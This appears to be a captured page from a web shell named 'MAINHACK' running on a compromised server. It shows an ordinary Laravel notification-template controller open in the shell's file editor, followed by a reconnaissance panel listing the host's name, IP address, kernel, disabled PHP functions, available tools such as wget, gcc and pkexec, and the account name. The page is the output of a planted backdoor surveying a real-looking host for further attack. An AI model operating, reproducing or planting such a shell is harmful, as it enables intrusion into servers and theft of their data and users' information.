[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: NotificationTemplateController.php
<?php namespace App\Http\Controllers; use App\Models\EmailTemplate; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; class NotificationTemplateController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $assets = ['datatable']; $emailtemplates = EmailTemplate::all(); return view('backend.admin.administration.notification_template.list', compact('emailtemplates','assets')); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show(Request $request, $id) { $emailtemplate = EmailTemplate::find($id); if (!$request->ajax()) { return view('backend.admin.administration.notification_template.view', compact('emailtemplate', 'id')); } else { return view('backend.admin.administration.notification_template.modal.view', compact('emailtemplate', 'id')); } } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit(Request $request, $id) { $assets = ['tinymce']; $emailtemplate = EmailTemplate::find($id); return view('backend.admin.administration.notification_template.edit', compact('emailtemplate', 'id', 'assets')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $validator = Validator::make($request->all(), [ 'name' => 'required', 'subject' => 'required', 'email_body' => 'required_if:email_status,1', 'sms_body' => 'required_if:sms_status,1', 'notification_body' => 'required_if:notification_status,1', ],[ 'email_body.required_if' => _lang('Email body is required'), 'sms_body.required_if' => _lang('SMS text is required'), 'notification_body.required_if' => _lang('Notification text is required'), ]); if ($validator->fails()) { if ($request->ajax()) { return response()->json(['result' => 'error', 'message' => $validator->errors()->all()]); } else { return redirect()->route('notification_templates.edit', $id) ->withErrors($validator) ->withInput(); } } $emailtemplate = EmailTemplate::find($id); $emailtemplate->name = $request->input('name'); $emailtemplate->subject = $request->input('subject'); $emailtemplate->email_body = $request->input('email_body'); $emailtemplate->sms_body = $request->input('sms_body'); $emailtemplate->notification_body = $request->input('notification_body'); $emailtemplate->email_status = isset($request->email_status) ? $request->input('email_status') : 0; $emailtemplate->sms_status = isset($request->sms_status) ? $request->input('sms_status') : 0; $emailtemplate->notification_status = isset($request->notification_status) ? $request->input('notification_status'): 0; $emailtemplate->save(); if (!$request->ajax()) { return redirect()->route('notification_templates.index')->with('success', _lang('Updated successfully')); } else { return response()->json(['result' => 'success', 'action' => 'update', 'message' => _lang('Updated successfully'), 'data' => $emailtemplate]); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.89 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002